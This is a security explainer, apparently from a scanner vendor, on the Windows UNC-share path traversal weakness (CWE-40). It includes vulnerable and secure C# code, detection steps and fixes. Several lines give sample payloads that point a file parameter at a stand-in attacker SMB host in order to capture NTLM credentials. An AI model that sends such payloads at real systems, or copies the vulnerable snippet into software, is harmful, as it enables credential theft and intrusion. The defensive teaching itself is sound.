What is Path Traversal Windows UNC Share (CWE-40)?

TL;DR: CWE-40 lets an attacker redirect a file operation to a remote, attacker-controlled server using a Windows UNC path; the fix is rejecting UNC-prefixed input outright and validating the resolved path stays local.

What is Path Traversal?

Path Traversal: Windows UNC Share (CWE-40) is a type of broken access control vulnerability that occurs when an application accepts input identifying a Windows UNC share (\\UNC\share\name) without proper validation, potentially redirecting file access to an unintended, attacker-controlled network location. As defined by the MITRE Corporation under CWE-40, this weakness has no official OWASP Top 10:2025 category mapping but is a direct child of Absolute Path Traversal (CWE-36).

Quick Summary

Unlike traversal attacks that escape a directory using “../”, this weakness abuses a completely different Windows-specific path syntax — the UNC (Universal Naming Convention) prefix \\ — which tells the operating system to route the file operation over the network to whatever host is named. If an application passes unvalidated input straight into a Windows file API, an attacker can substitute their own server for the intended local file entirely.

Jump to: Quick Summary · Path Traversal Overview · How Path Traversal Works · Business Impact of Path Traversal · Path Traversal Attack Scenario · How to Detect Path Traversal · How to Fix Path Traversal · Framework-Specific Fixes for Path Traversal · How to Ask AI to Check Your Code for Path Traversal · Path Traversal Best Practices Checklist · Path Traversal FAQ · Vulnerabilities Related to Path Traversal · References · Scan Your Own Site

Path Traversal Overview

What: An application accepts a Windows UNC-formatted path from external input, letting the file operation be redirected to an arbitrary network host.

Why it matters: Unlike local directory-escape traversal, this can point the file operation entirely off the local machine, to infrastructure the attacker controls.

Where it occurs: Windows-hosted applications that pass user-supplied filenames directly into Windows file APIs without validating the prefix.

Who is affected: Applications running on Windows that accept a filename or path parameter without rejecting UNC-style prefixes.

Who is NOT affected: Applications that explicitly reject any input starting with \\ or that run exclusively on non-Windows platforms where UNC syntax has no meaning.

How Path Traversal Works

Root Cause

The application accepts a Windows UNC-formatted path from external input and passes it to a file operation without rejecting the UNC prefix or validating the target stays local.

Attack Flow

1. The attacker identifies a parameter used as a filename in a Windows file operation.
2. The attacker submits a UNC path pointing at a server they control, e.g. \\attacker-server\share\payload.
3. The application passes this value directly into a Windows file API.
4. Windows attempts to resolve the UNC path, connecting over SMB to the attacker’s server.
5. The attacker’s server serves malicious content back, or captures the connection attempt (including authentication material) for further attack.

Prerequisites to Exploit

• The application runs on Windows and accepts a filename/path parameter from external input.
• The application does not reject input starting with a UNC prefix (\\).
• The application passes the value directly into a Windows file-access API.

Vulnerable Code

string fileName = Request.QueryString["file"];
string content = File.ReadAllText(fileName);

fileName is passed directly into File.ReadAllText() with no validation, so a value like \\attacker-server\share\file.txt is resolved as a network path rather than rejected.

Secure Code

string fileName = Request.QueryString["file"];
if (fileName.StartsWith(@"\\") || fileName.Contains(":"))
{
    throw new ArgumentException("Invalid path");
}
string baseDir = Path.GetFullPath(@"C:\App\Data");
string fullPath = Path.GetFullPath(Path.Combine(baseDir, fileName));
if (!fullPath.StartsWith(baseDir + Path.DirectorySeparatorChar))
{
    throw new ArgumentException("Invalid path");
}
string content = File.ReadAllText(fullPath);

The UNC prefix and drive-letter syntax are rejected outright before any file access, and the resolved path is additionally verified to stay inside the intended local base directory.

Business Impact of Path Traversal

Confidentiality: Attackers may read the contents of unexpected files, or exfiltrate the file operation’s authentication attempt to a server they control.

Integrity: Attackers may cause the application to read attacker-supplied content from a remote share as if it were a trusted local file.

• NTLM credential capture if the target machine auto-authenticates to the attacker’s SMB share
• Delivery of malicious file content masquerading as a trusted local resource

Path Traversal Attack Scenario

1. An attacker finds a Windows-hosted application accepting a file parameter for reading uploaded documents.
2. They submit file=\\attacker-controlled-host\share\evil.txt.
3. The application passes the value straight to File.ReadAllText(), and Windows attempts an SMB connection to the attacker’s host.
4. The attacker’s SMB server captures the connection attempt (potentially including NTLM authentication material) and/or serves back malicious content that the application then trusts as local.

How to Detect Path Traversal

Manual Testing

• Submit UNC-style path payloads (\\host\share\file) as filename parameters.
• Monitor for outbound SMB connection attempts to an attacker-controlled listener during testing.
• Confirm whether the application rejects or resolves the UNC prefix.

Automated Scanners (SAST / DAST)

Static analysis can flag file operations built directly from unsanitized input on Windows-targeted code, while dynamic testing with an attacker-controlled SMB listener confirms whether the live application actually attempts the network connection.

PenScan Detection

PenScan’s scanner engines submit UNC path payloads against file-related parameters on Windows-hosted applications and monitor for outbound connection attempts.

False Positive Guidance

Applications that explicitly reject any input containing a leading \\ or a colon before reaching the file API are not vulnerable even if a scanner flags the parameter based on its name alone — confirm the actual validation logic in place.

How to Fix Path Traversal

• Reject any input beginning with a UNC prefix (\\) or containing a drive-letter pattern outright.
• Canonicalize the resolved path and verify it stays within the intended local base directory.
• Prefer mapping user-supplied identifiers to fixed local filenames instead of accepting raw paths.

Framework-Specific Fixes for Path Traversal

This weakness is specific to Windows file-handling APIs; it has no meaningful equivalent on Linux/macOS-hosted stacks where UNC syntax isn’t interpreted, so no forced-fit examples are given for those platforms.

• ASP.NET/.NET: reject \\ and : prefixes explicitly, then validate with Path.GetFullPath() and a StartsWith() check against the local base directory, as shown above.
• Java on Windows: validate that Paths.get(input) is not absolute/UNC via isAbsolute() before combining it with the base directory, then apply the same canonicalization check.

How to Ask AI to Check Your Code for Path Traversal

Path Traversal Best Practices Checklist

✅ Reject any input beginning with a UNC prefix (\\) before file access ✅ Reject drive-letter and protocol-style prefixes in path input ✅ Canonicalize the resolved path and verify it stays within the local base directory ✅ Never pass unvalidated user input directly into a Windows file API

Path Traversal FAQ

How does a UNC path redirect file access to an attacker’s server?

A UNC path like “\attacker-server\share\file” tells Windows to fetch the resource over the network from that host, so if user input reaches a file-open call unvalidated, an attacker can point it at their own SMB server instead of the local filesystem.

How is this different from standard directory traversal?

Standard traversal (CWE-22/23) escapes a local restricted directory using “../”; a UNC path injection instead redirects the entire file operation to a remote network location the attacker controls, which is a different escape mechanism entirely.

How can an attacker exploit this beyond just reading files?

If the application opens the UNC path with any write intent, or if the target machine automatically authenticates to the SMB share, the attacker can also capture NTLM credentials via the connection attempt itself.

How do I detect this in my own application?

Submit a UNC-style path (e.g. “\\attacker-controlled-host\share\file”) as a filename parameter and monitor whether the application attempts an outbound SMB connection to that host.

How do I fix this correctly?

Reject any input beginning with a UNC prefix (“\\”) outright, and additionally canonicalize and verify the resolved path stays within the intended local base directory.

How does allowlisting fix this better than a denylist?

An allowlist that only accepts filenames matching a known-good pattern (no leading backslashes, no drive letters, no protocol prefixes) rejects UNC paths by construction, rather than trying to enumerate every dangerous prefix variant.

How can PenScan help find this weakness?

PenScan submits UNC-style path payloads against file-related parameters on Windows-hosted applications and monitors for outbound network file-access attempts.

Vulnerabilities Related to Path Traversal

References

• MITRE - CWE-40
• NVD

Scan Your Own Site

Manual code review catches what you know to look for. An automated scan catches what you didn’t. Scan your own website using PenScan to find this Path Traversal variant and other risks before an attacker does.